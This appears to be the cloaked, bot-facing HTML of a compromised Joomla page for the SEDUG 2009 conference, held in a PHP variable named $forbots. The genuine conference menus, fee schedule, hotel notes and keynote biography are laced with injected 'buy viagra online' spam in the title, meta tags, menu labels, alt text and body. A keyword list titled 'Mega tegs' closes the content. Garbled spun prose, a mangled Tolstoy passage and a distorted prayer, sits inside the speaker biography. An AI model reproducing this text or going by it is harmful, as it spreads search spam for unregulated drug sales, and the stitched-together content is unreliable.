$forbots = "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <meta name="robots" content="index, follow" />
  <meta name="keywords" content="buy viagra online, viagra in usa, buy viagra, viagra without perscriptions" />
  <meta name="description" content="You can buy cheapest viagra online in our drug store. Fast delivery in any point of the world, in the spring of the discount to 30 %" />
  <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
  <title>Buy Viagra Online, Viagra in USA. Online Pill Store!</title>

  <link href="/sedugsite/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
  <link href="/sedugsite/index.php?format=feed&amp;type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
  <link rel="stylesheet" href="/sedugsite/plugins/system/rokbox/themes/light/rokbox-style.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/rt_refraction_j15/css/template.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/rt_refraction_j15/css/styles.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/rt_refraction_j15/css/typography.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/system/css/system.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/system/css/general.css" type="text/css" />
  <link rel="stylesheet" href="/sedugsite/templates/rt_refraction_j15/css/rokmoomenu.css" type="text/css" />

  <style type="text/css">
    <!--

    body.iehandle #main-background {background-attachment:fixed;}
div.wrapper { margin: 0 auto; width: 979px;padding:0;}
#inset-block-left { width:0px;padding:0;}
#inset-block-right { width:0px;padding:0;}
#maincontent-block { margin-right:0px;margin-left:0px;}
#main-body ul.menu li a:hover, ul.roknewspager-numbers li.active, .feature-block .feature-desc, #horiz-menu li.active .link span, #horiz-menu li:hover .link span, #horiz-menu li.sfHover .link span, #horiz-menu li:hover li:hover .link span, #horiz-menu li:hover li:hover li:hover .link span, #horiz-menu li.sfHover li.sfHover .link span, #horiz-menu li.sfHover li.sfHover li.sfHover .link span, #showcase-section, .side-mod h3, #searchmod-surround h3, #main-body ul.menu li a:hover, ul.roknewspager-numbers li.active, a:hover, #featuremodules {color: #ffffff;}
#showcase-section .feature-block .feature-title {color:#ffffff;}
#showcase-section a {color: #9ac615;}
.variation-chooser input, #mainbody-overlay, #searchmod-surround .inputbox, form.search_result input.button, form.poll input.button, form.form-login .inputbox, form.form-login input.button, form.log input.button, #bottom, form#emailForm input.button, #copyright, #top-button a, input#search_searchword.inputbox, form.search_result legend, .contact_email .inputbox, .readon-wrap1 input.button, input#email.required, .logo-module, .footer-mod {color: #0ceb35;}
#roktwittie .status .header .nick, .search-results-full span.highlight, #main-background div.articleListingImage img, #main-background div.sbArticleImage img  {background:#9ac615;}
a, .contentheading, #horiz-menu li:hover li .link span, #horiz-menu li:hover li:hover li .link span, #horiz-menu li.sfHover li .link span, #horiz-menu li.sfHover li.sfHover li .link span, .componentheading span, .roktabs-links li.active, .side-mod h3 span, .showcase-panel h3 span, #featuremodules h3 {color: #9ac615;}
    -->
  </style>
  <script type="text/javascript" src="/sedugsite/media/system/js/mootools.js"></script>
  <script type="text/javascript" src="/sedugsite/media/system/js/caption.js"></script>
  <script type="text/javascript" src="/sedugsite/plugins/system/rokbox/rokbox.js"></script>
  <script type="text/javascript" src="/sedugsite/plugins/system/rokbox/themes/light/rokbox-config.js"></script>
  <script type="text/javascript" src="/sedugsite/templates/rt_refraction_j15/js/rokfonts.js"></script>

  <script type="text/javascript" src="/sedugsite/templates/rt_refraction_j15/js/rokutils.js"></script>
  <script type="text/javascript" src="/sedugsite/templates/rt_refraction_j15/js/rokutils.inputs.js"></script>
  <script type="text/javascript" src="/sedugsite/templates/rt_refraction_j15/js/rokmoomenu.js"></script>
  <script type="text/javascript" src="/sedugsite/templates/rt_refraction_j15/js/mootools.bgiframe.js"></script>
  <script type="text/javascript" src="/sedugsite/modules/mod_rokajaxsearch/js/rokajaxsearch.js"></script>
  <script type="text/javascript" src="/sedugsite/modules/mod_roknewspager/tmpl/js/roknewspager.js"></script>

  <script type="text/javascript" src="/sedugsite/modules/mod_roknewsflash/roknewsflash-packed.js"></script>
  <script type="text/javascript" src="/sedugsite/modules/mod_showcasevarations/tmpl/rokshowcasevarations.js"></script>
  <script type="text/javascript" src="/sedugsite/modules/mod_rokstories/tmpl/js/rokstories.js"></script>
  <script type="text/javascript">

window.templatePath = '/sedugsite/templates/rt_refraction_j15';
window.uri = '/sedugsite';
window.currentStyle = 'custom';

window.addEvent('domready', function() {
var modules = ['side-mod', 'showcase-panel'];
var header = ['h3','h1'];
RokBuildSpans(modules, header);
});
InputsExclusion.push('.content_vote','#login-module')
window.addEvent('domready', function() {
var featured = $('featuremodules'), featOpacity = 0.7;
if (featured) {
var featChildren = featured.getChildren();
if (featChildren.length > 1) {
featChildren.each(function(feat, i) {
var color = feat.getStyle('color');
var lnks = feat.getElements('a');
var h3s = feat.getElements('h3');

var fxColors = [];
if (lnks.length > 0) {
var lnkColor = feat.getElement('a').getStyle('color');
lnks.each(function(lnk, i) { fxColors.push(new Fx.Style(lnk, 'color', {wait: false}).set(color)); });
}

var fxH3s = [];
if (h3s.length > 0) {
var h3Color = feat.getElement('h3').getStyle('color');
h3s.each(function(h3, i) { fxH3s.push(new Fx.Style(h3, 'color', {wait: false}).set(color));});
}

var fx = new Fx.Style(feat, 'opacity', {duration: 300, wait: false}).set(featOpacity);

feat.addEvents({
'mouseenter': function() {
fx.start(1);
if (fxColors.length) { fxColors.each(function(fxC) { fxC.start(lnkColor); }); }
if (fxH3s.length) { fxH3s.each(function(fxH) { fxH.start(h3Color); }); }
},
'mouseleave': function() {
fx.start(featOpacity);
if (fxColors.length) { fxColors.each(function(fxC) { fxC.start(color); }); }
if (fxH3s.length) {fxH3s.each(function(fxH) { fxH.start(color); }); }
}
})
});
}
}
});
window.showcasePanelOptions = {
'hooks': 'a[href*=showcasemoduletrigger], .showcase-panel-trigger',
'fixedHeight': 1,
'height': 337,
'opacity': .9,
'scrollToTop': 1,
'closeByClick': 1,
'showCloseButton': 0
};
window.addEvent('domready', function() {
    new Rokmoomenu($E('ul.menutop '), {
    bgiframe: false,
    delay: 500,
    verhor: true,
    animate: {
    props: ['height'],
    opts: {
    duration: 500,
    fps: 100,
    transition: Fx.Transitions.Quad.easeOut
    }
    },
    bg: {
    enabled: true,
    overEffect: {
    duration: 500,
    transition: Fx.Transitions.Sine.easeOut
    },
    outEffect: {
    duration: 600,
    transition: Fx.Transitions.Sine.easeOut
    }
    },
    submenus: {
    enabled: true,
    opacity: 0.9,
    overEffect: {
    duration: 50,
    transition: Fx.Transitions.Expo.easeOut
    },
    outEffect: {
    duration: 600,
    transition: Fx.Transitions.Sine.easeIn
    },
    offsets: {
    top: 3,
    right: 1,
    bottom: 0,
    left: 1
    }
    }
    });
    });
  </script>
</head>
<body id="ff-refraction" class="f-default custom bgstyle5 dark iehandle">
<div id="main-background">
<div id="header-overlay" class="png">
<div class="wrapper">
<!--Begin Logo-->
<a href="/sedugsite" id="logo" class="png"></a>
<!--End Logo-->
<!--Begin Horizontal Menu-->
<div id="horiz-menu-surround">
<div id="horiz-menu" class="moomenu png">
<ul class="menutop" >
<li class="item1 active  png" id="current">
<a class="topdaddy link" href="http://www.coastal.edu/sedugsite/"  >
<span>Buy viagra online</span>
</a>
</li>
<li class="item94 parent  png" >
<a class="topdaddy link" >
<span>2009 Conference</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item93  c0 coltop png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=102&amp;Itemid=93"  >
<span>Terms & Conditions</span>
</a>
</li>
<li class="item92  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=101&amp;Itemid=92"  >
<span>Refund Policy</span>
</a>
</li>
<li class="item95  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=103&amp;Itemid=95"  >
<span>Conference Overview</span>
</a>
</li>
<li class="item104  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=127&amp;Itemid=104"  >
<span>Registration</span>
</a>
</li>
<li class="item105  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=107&amp;Itemid=105"  >
<span>Cost Details</span>
</a>
</li>
<li class="item110 parent  c0 png" >
<a class="daddy link" >
<span>Tracks Details</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item113  coltop png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=109&amp;Itemid=113"  >
<span>Technical</span>
</a>
</li>
<li class="item116  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=111&amp;Itemid=116"  >
<span>Student</span>
</a>
</li>
<li class="item117  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=112&amp;Itemid=117"  >
<span>AR/CR</span>
</a>
</li>
<li class="item118  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=113&amp;Itemid=118"  >
<span>Financial Aid</span>
</a>
</li>
<li class="item119  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=115&amp;Itemid=119"  >
<span>Financials</span>
</a>
</li>
<li class="item120  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=116&amp;Itemid=120"  >
<span>Human Resources</span>
</a>
</li>
<li class="item121  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=114&amp;Itemid=121"  >
<span>Management</span>
</a>
</li>
<li class="item122  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=117&amp;Itemid=122"  >
<span>Vendor</span>
</a>
</li>
<li class="item126  png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=123&amp;Itemid=126"  >
<span>CA/Ben</span>
</a>
</li></ul></div></li>
<li class="item114  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=110&amp;Itemid=114"  >
<span>Track Coordinators</span>
</a>
</li>
<li class="item124  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=119&amp;Itemid=124"  >
<span>Keynote Speaker</span>
</a>
</li>
<li class="item139  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_remository&amp;Itemid=139"  >
<span>Session Handouts</span>
</a>
</li>
<li class="item141 parent  c0 png" >
<a class="daddy link" >
<span>Sessions Schedule</span></a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item140  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=140"  >
<span>View Grid</span>
</a>
</li>
<li class="item142  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=142"  >
<span>Line Detail</span></a></li></ul></div></li></ul></div></li>
<li class="item131 parent  png" >
<a class="topdaddy link" >
<span>Labs</span></a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item137  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=126&amp;Itemid=137"  >
<span>Labs Details</span>
</a>
</li>
<li class="item136 parent  c0 png" >
<a class="daddy link" >
<span>Register for a lab</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item132  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=132" target="_blank" >
<span>Colleague Web Development</span>
</a>
</li>
<li class="item133  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=133" target="_blank" >
<span>Communications Management</span>
</a>
</li>
<li class="item134  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=134" target="_blank" >
<span>Google Apps</span>
</a>
</li>
<li class="item135  png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=135" target="_blank" >
<span>Querying UniData</span>
</a>
</li>
</ul>
</div>
</li>
</ul>
</div>
</li>
<li class="item97 parent  png" >
<a class="topdaddy link" >
<span>Hotel</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item101  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=104&amp;Itemid=101"  >
<span>Information</span>
</a>
</li>
<li class="item102  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=105&amp;Itemid=102"  >
<span>Reservation</span>
</a>
</li>
<li class="item103  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=106&amp;Itemid=103"  >
<span>Floor Plan</span>
</a>
</li>
<li class="item125  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=120&amp;Itemid=125"  >
<span>Directions</span>
</a>
</li>
</ul>
</div>
</li>
<li class="item96 parent  png" >
<a class="topdaddy link" >
<span>Presenters Area</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item115  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=110&amp;Itemid=114"  >
<span>Track Coordinators</span>
</a>
</li>
<li class="item123  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=118&amp;Itemid=123"  >
<span>Presenter Info</span>
</a>
</li>
<li class="item127  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=124&amp;Itemid=127"  >
<span>Presentation Template</span>
</a>
</li>
</ul>
</div>
</li>
<li class="item98 parent  png" >
<a class="topdaddy link" >
<span>Exhibitor Area</span>
</a>
<div class="drop-wrap columns-1"><div class="drop1 png"></div>
<ul class="png columns-1">
<li class="item107  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=107" target="_blank" >
<span>Exhibitor Registration</span>
</a>
</li>
<li class="item108  c0 png" >
<a class="link" href="/sedugsite/index.php?option=com_wrapper&amp;view=wrapper&amp;Itemid=108" target="_blank" >
<span>Exhibitor Session Proposal</span>
</a>
</li>
</ul>
</div>
</li>
<li class="item100  png" >
<a class="topdaddy link" href="/sedugsite/index.php?option=com_search&amp;view=search&amp;Itemid=100"  >
<span>Search</span>
</a>
</li>
</ul>
</div>
</div>
</div>
</div>
<div id="showcase-section" class="png">
<div class="wrapper">
<div id="showmodules" class="spacer w99">
<div class="block full">
<div class="">
<div class="moduletable">
<script type="text/javascript">
    RokStoriesImage.push('/sedugsite/images/stories/demo/rokstories/rs2.jpg');
    RokStoriesImage.push('/sedugsite/images/stories/demo/rokstories/rs5.jpg');
    RokStoriesImage.push('/sedugsite/images/stories/demo/rokstories/rs3.jpg');
    RokStoriesImage.push('/sedugsite/images/stories/demo/rokstories/rs4.jpg');
    RokStoriesImage.push('/sedugsite/images/stories/demo/rokstories/rs1.jpg');

window.addEvent('domready', function() {
new RokStories('.feature-block', {
'startElement': 0,
'thumbsOpacity': 0.5,
'mousetype': 'mouseenter',
'autorun': 1,
'delay': 8000,
'startWidth': 615});
});
</script>
<div class="feature-block">
<div class="image-container">
<div class="image-full"></div>
<div class="image-small">
<img src="/sedugsite/images/stories/demo/rokstories/rs2_thumb.jpg" class="feature-sub" alt="buy viagra online" />
<img src="/sedugsite/images/stories/demo/rokstories/rs5_thumb.jpg" class="feature-sub" alt="image" />
<img src="/sedugsite/images/stories/demo/rokstories/rs3_thumb.jpg" class="feature-sub" alt="image" />
<img src="/sedugsite/images/stories/demo/rokstories/rs4_thumb.jpg" class="feature-sub" alt="image" />
<img src="/sedugsite/images/stories/demo/rokstories/rs1_thumb.jpg" class="feature-sub" alt="image" />
</div>
</div>
<div class="desc-container">         
<div class="description">
<span class="feature-title">Buy viagra online</span>
<span class="feature-desc"> Welcome to SEDUG 2009. Our theme this year is 'Do More With Less!'. Focusing on how to use tools you already have more efficently. Is there a  Datatel module that you already own but not using?  </span>
<div class="clr"></div><!--<div class="readon-wrap1"><div class="readon1-l"></div><a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=72:sedug-2009&amp;catid=38:rokstories" class="readon-main"><span class="readon1-m"><span class="readon1-r">Read the Full Story</span></span></a></div>--><div class="clr"></div>
</div>             
<div class="description">
<span class="feature-title">Over 10 Years</span>
<span class="feature-desc">  It was a fiery July daytime. Smooth at cardinal o'quantify, when
That Dominicus, the Rostovs went to Pile at the Razumovskis' top secret
the Rostovs got outside of their railway coach at the service, the hot atmosphere,
throng, the dirty leaves of the trees on the street, the sounds of</span>
<div class="clr"></div><!--<div class="readon-wrap1"><div class="readon1-l"></div><a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=71:roktwittie-module&amp;catid=38:rokstories" class="readon-main"><span class="readon1-m"><span class="readon1-r">Read the Full Story</span></span></a></div>--><div class="clr"></div>
</div>              
<div class="description">
<span class="feature-title">Lots of Content!</span>
<span class="feature-desc">With Over 80 session in 9 tracks, SEDUG is a great value for your <strong>buy viagra online</strong> institution!&nbsp;</span>
<div class="clr"></div><!--<div class="readon-wrap1"><div class="readon1-l"></div><a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=74:transparency&amp;catid=38:rokstories" class="readon-main"><span class="readon1-m"><span class="readon1-r">Read the Full Story</span></span></a></div>--><div class="clr"></div>
</div>              
<div class="description">
<span class="feature-title">Learning Labs</span>
<span class="feature-desc"> New at SEDUG this year, Learning Labs hands on tutorials. More info later... </span>
<div class="clr"></div><!--<div class="readon-wrap1"><div class="readon1-l"></div><a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=73:labs&amp;catid=38:rokstories" class="readon-main"><span class="readon1-m"><span class="readon1-r">Read the Full Story</span></span></a></div>--><div class="clr"></div>
</div>                
<div class="description">
<span class="feature-title">Same Location, New Confernce Center</span>
<span class="feature-desc"> SEDUG will once again be held at the beautiful ocean-front Hilton Myrtle Beach Resort on the north end of Myrtle Beach.  We recommend making your reservations as soon as possible to ensure you receive the discounted room rate. This year  We will be utilizing all of the Conference and Expo Center that was recently completed at the beginning of 2008.&nbsp;</span>
<div class="clr"></div><!--<div class="readon-wrap1"><div class="readon1-l"></div><a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=95:conference-center&amp;catid=38:rokstories" class="readon-main"><span class="readon1-m"><span class="readon1-r">Read the Full Story</span></span></a></div>--><div class="clr"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="showcase-panel">
<div class="wrapper">
<div id="showcase-panel-close">
<div class="readon-wrap1"><div class="readon1-l"></div><a class="readon-main" href="#"><span class="readon1-m"><span class="readon1-r">Close</span></span></a></div>
</div>
<div class="showcase-panel">
<div class="template-styles">
<div class="styleslist">
<div class="style1 first"></div>
<div class="style2"></div>
<div class="style3"></div>
<div class="style4"></div>
<div class="style5 last"></div>
<div class="style6 first"></div>
<div class="style7"></div>
<div class="style8"></div>
<div class="style9"></div>
<div class="style10 last"></div>
</div>
</div>
</div>
</div>
</div>
<!--End Showcase-->
<!--Begin Main Body-->
<div id="mainbody-overlay" class="png"><div id="mainbody-overlay2" class="png">
<div class="wrapper">
<div id="main-body">
<div id="main-body-surround">
<!--Begin Main Content Block-->
<div id="main-content" class="s-c-s">
<div class="colmask leftmenu">
    <div class="colmid">
        <div class="colright">
            <!--Begin col1wrap -->    
            <div class="col1wrap">
                <div class="col1pad">
                    <div class="col1">
                        <div id="maincol2">
                    <div class="maincol2-padding">
                <div id="newsflash-bar" class="png">
                <script type="text/javascript">
window.addEvent('domready', function() {
var x = new RokNewsFlash('newsflash', {
controls: true,
delay: 2500,
duration: 600,
blankimage: 'http://www.coastal.edu/sedugsite/images/blank.png'
});
});
</script>
<div id="newsflash" class="roknewsflash">
    <span class="flashing">Updates:</span>
    <ul>
<li>
<a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=95:conference-center&amp;catid=38:rokstories">
 SEDUG will once again be held at the beautiful ocean-front ...  </a>

</li>
<li>
<a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=74:transparency&amp;catid=38:rokstories">
 With Over 80 session in 9 tracks, SEDUG is a great value fo...  </a>
</li>
</ul>
</div>
                </div>
                <div id="maincontent-tm" class="png"><div id="maincontent-tl" class="png"><div id="maincontent-tr" class="png"></div></div></div>
<div id="maincontent-m" class="png"><div id="maincontent-l" class="png"><div id="maincontent-r" class="png"><div id="maincontent-surround" class="png">
                                <div class="bodycontent">
                                                <div id="maincontent-block">
<div class="blog">
<div class="leading">
<div class="">
    <div class="article-rel-wrapper">
</div>
<h4 style="text-align: center"><font class="Apple-style-span" color="#FF0000">Viagra</font></h4><div style="text-align: center"><font class="Apple-style-span" color="#FFCC00">Session handouts are available for download. You must login to be able to download handouts.  To login, go to the <em>buy viagra</em> left bottom side of this page and enter your user name and password. If you don't have an account yet, go to the left bottom side of this page and click on 'Create an Account'. Follow instructions to create an account.  You must be <strong>buy viagra online</strong> a Datatel client to be able to create an account. </font></div><div style="text-align: center"><font class="Apple-style-span" color="#FFCC00"> </font></div><div style="text-align: center"><font class="Apple-style-span" color="#FFCC00">Once you login, click on the '2009 conference' item on the top menu on this page, then choose 'Session Handouts' to download. <span style="color: #333333" class="Apple-style-span"> </span></font></div><font face="Tahoma, Helvetica, Arial, sans-serif" class="Apple-style-span"><hr /></font><p>Keynote Speaker</p><div><font style="color: #ffffff" color="#ffffff"><img src="/sedugsite/images/stories/FC.png" border="1" alt="buy viagra in usa" title="buy viagra in usa" hspace="8" width="80" height="92" align="left" /><div style="text-align: justify">Francette Carnahan is a professional educator with over twenty years experience in higher education settings.  A native Texan, she has a Ph.D. in Higher Education Administration, a M.Ed. in Counseling and Student Services, and a B.A. Degree in Speech and Drama, all from the University of North Texas in Denton.  reinforce with Thy strength
be aware of his righteousness and humility, award him according to
near Thine omnipotent mitt, and <em>viagra online</em> take him triumph above his foe, smooth as
King above Behemoth. Keep safe his blue, place a nod of effrontery in the guardianship
1000 gavest Painter the triumph above Amalek, Gideon above Midian, and
of those who possess armlike themselves in Thy Designation, and bind their area
aid us; mistake and place to embarrassment those who possess devised bad against
hold sway against Thee!
</div></font></div><hr /><div style="text-align: justify">Early-bird registration ends September 30th. Starting on October 1 the rate will be $175, until October 30. The rate is honored as long as you register on the web site, and does not matter if your check is received past the deadline. </div><ul><li><font> Early bird rate of $140 until September 30.</font></li><li><font>$175 rate from October 1 until October 30.</font></li><li><font>$225 late registration rate from October 31 until conference start.</font></li><font><li><font>Guest fee is $70 any time. Covers all social/food events only - no sessions.</font></li><li><font>Presenter fee is $70 any time - Covers full conference.</font></li><li><font>Make check payable to Furman University.</font></li></font></ul><font><hr /><p>&nbsp;</p></font>
<br><br>
Mega tegs:<br>
buy viagra online
buy viagra without perscriptions
viagra without perscriptions
viagra online
buy viagra without usa
viagra in usa
viagra Carolina
Viagra in canada online
cheapest viagra
viadra
best viagra online
best viagra
viagra in california
buy viagra
buying viagra online
order viagra online
viagra in drugstore
viagra pharma online
fast delivery viagra
viagra anonim
viagra with discount
discount on viagra
generic viagra
buy generic viagra
soft viagra buy
Delivery by mail viagra
Delivery by airmail
Delivery by mai
delivery by courier viagra
buy fast viagra
</div>
</div>
<span class="leading_separator">&nbsp;</span>
</div>
</div>
 </div>
<div class="clr"></div>
</div></div></div></div>
<div id="maincontent-bm" class="png"><div id="maincontent-bl" class="png"><div id="maincontent-br" class="png"></div></div></div>
                    </div>
                    </div>    
                    </div>
                </div>
            </div>
            <!--End col1wrap -->
               <!--Begin col2 -->
                           <div class="col2">

                <div id="leftcol">
                                                <div id="leftcol-padding">
                            <div class="">
<div class="side-mod">
<div class="module-header png"><div class="module-header2 png"><div class="module-header3 png"><h3 class="module-title">Site Search</h3></div></div></div>
<div class="module-tm png"><div class="module-tl png"><div class="module-tr png">
<div class="module png">
<div id="searchmod-surround">

<form name="rokajaxsearch" id="rokajaxsearch" action="http://www.coastal.edu/sedugsite/" method="get">
<div class="rokajaxsearch">
<div class="input-field-l png"><div class="input-field-r png"><input id="roksearch_search_str" name="searchword" type="text" class="inputbox png" value=" Search..." /></div></div>
<input type="hidden" name="searchphrase" value="any"/>
<input type="hidden" name="limit" value="" />
<input type="hidden" name="ordering" value="newest" />
<input type="hidden" name="view" value="search" />
<input type="hidden" name="Itemid" value="99999999" />
<input type="hidden" name="option" value="com_search" />
<div id="roksearch_results"></div>
<script type="text/javascript">
window.addEvent((window.webkit) ? 'load' : 'domready', function() {
window.rokajaxsearch = new RokAjaxSearch({
'results': ' Results',
'close': '',
'websearch': 0,
'search': ' Search...',
'readmore': ' Read more...',
'noresults': ' No results',
'advsearch': ' Advanced search',
'page': ' Page',
'page_of': ' of',
'searchlink': 'http://www.coastal.edu/sedugsite/index.php?option=com_search&amp;view=search&amp;tmpl=component',
'advsearchlink': 'http://www.coastal.edu/sedugsite/index.php?option=com_search&amp;view=search',
'uribase': 'http://www.coastal.edu/sedugsite/',
'limit': '10',
'perpage': '3',
'ordering': 'newest',
'phrase': 'any',
'hidedivs': '',
'includelink': 1,
'viewall': ' View all results',
'estimated': ' estimated',
'showestimated': 1,
'showpagination': 1,
'showcategory': 1,
'showreadmore': 1,
'showdescription': 1});
});
</script>
</div>
<div id="rokajaxsearch_tmp" style="visibility:hidden;display:none;"></div>
</form>
</div></div>
</div></div></div>
</div>
</div>
<div class="">
<div class="side-mod">
<div class="module-header png"><div class="module-header2 png"><div class="module-header3 png"><h3 class="module-title">Upcoming Events</h3></div></div></div>
<div class="module-tm png"><div class="module-tl png"><div class="module-tr png">
<div class="module png">

<div class="roknewspager-wrapper">
<ul class="roknewspager">
<li>
        <div class="roknewspager-div">

            <a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=122:dell-learning-labs&amp;catid=46:events" class="roknewspager-title">Dell Learning Labs</a>
            Registration Links are now LIVE and ready for you to sign up!              </div>
    </li>
<li>
        <div class="roknewspager-div">
            <a href="/sedugsite/index.php?option=com_content&amp;view=article&amp;id=121:rates&amp;catid=46:events" class="roknewspager-title">Rates</a>
            Early-bird rate ($140) ends on September 30th.   Cost Details    Conference...        </div>

    </li>
</ul>
</div>
<div class="roknewspager-pages" >
<div class="roknewspager-spinner"></div>
    <div class="roknewspager-pages2">
        <div class="roknewspager-prev"></div>
        <div class="roknewspager-next"></div>
        <ul class="roknewspager-numbers">
                        <li class="active">1</li>

                        <li >2</li>
                    </ul>
    </div>
</div>
<script type="text/javascript">
RokNewsPagerStorage.push({
'url': 'http://www.coastal.edu/sedugsite/index.php?option=com_rokmodule&amp;tmpl=component&amp;type=raw&amp;module=Upcoming Events&amp;offset=',
'autoupdate': 0, 
'delay': 5000});
</script></div>
</div></div></div>
</div>
</div>
<div class="">
<div class="side-mod">
<div class="module-header png"><div class="module-header2 png"><div class="module-header3 png"><h3 class="module-title">Login</h3></div></div></div>
<div class="module-tm png"><div class="module-tl png"><div class="module-tr png">
<div class="module png">

<div class="main-login-form">
<form action="/sedugsite/index.php" method="post" name="login" class="form-login">
<div class="username-block">

<div class="input-field-l png"><input name="username" type="text" class="inputbox png" value="Username" alt="Username" onblur="if(this.value=='') this.value='Username';" onfocus="if(this.value=='Username') this.value='';" /></div>
</div>
<div class="password-block">
<div class="input-field-l png"><input type="password" name="passwd" class="inputbox png" alt="Password" /></div>
</div>
<div class="login-extras">
<div class="remember-me">
<input type="checkbox" name="remember" class="checkbox" value="yes" alt="Remember Me" />
<label class="remember">
Remember Me</label>
</div>
<div class="readon-wrap1"><div class="readon1-l png"></div><a class="readon-main"><span class="readon1-m png"><span class="readon1-r png"><input type="submit" name="Submit" class="button" value="Log in" /></span></span></a></div><div class="clr"></div>
<div class="login-links">
<p>
<a href="/sedugsite/index.php?option=com_user&amp;view=reset#content">
Forgot your password?</a>
</p>
<p>
<a href="/sedugsite/index.php?option=com_user&amp;view=remind#content">
Forgot your username?</a>
</p>
</div>
<p>
No Account Yet?<a href="/sedugsite/index.php?option=com_user&amp;task=register#content">
Create an account</a>
</p>
<input type="hidden" name="option" value="com_user" />
<input type="hidden" name="task" value="login" />
<input type="hidden" name="return" value="L3NlZHVnc2l0ZS8jY29udGVudA==" />
<input type="hidden" name="583aca9e0e1ee36e4947f5d4c76544ed" value="1" /></div>
</form>
</div>
</div>
</div></div></div>

</div>
</div>
</div>
                </div>
            </div>
             
            <!---End col2 -->
            <!--Begin col3 -->
                        <div class="col3">
                <div id="rightcol">

<div id="rightcol-padding">
               <div class="">
<div class="side-mod">
<div class="module-header png"><div class="module-header2 png"><div class="module-header3 png"><h3 class="module-title">Most Recent Uploads</h3></div></div></div>
<div class="module-tm png"><div class="module-tl png"><div class="module-tr png">
<div class="module png">
<div>
<div>
<img src="http://www.coastal.edu/sedugsite/components/com_remository/images/file_icons/powerpoint.gif" width="32" height="32" style="border:0;"  alt="" />
<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=fileinfo&amp;id=85">ST-TT 400 - WebAdvisor  for Parents</a></div>
<div>(<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=select&amp;id=4">Technical Track</a>)</div>
<div>Dec.09</div>
</div>
<div>
<div>
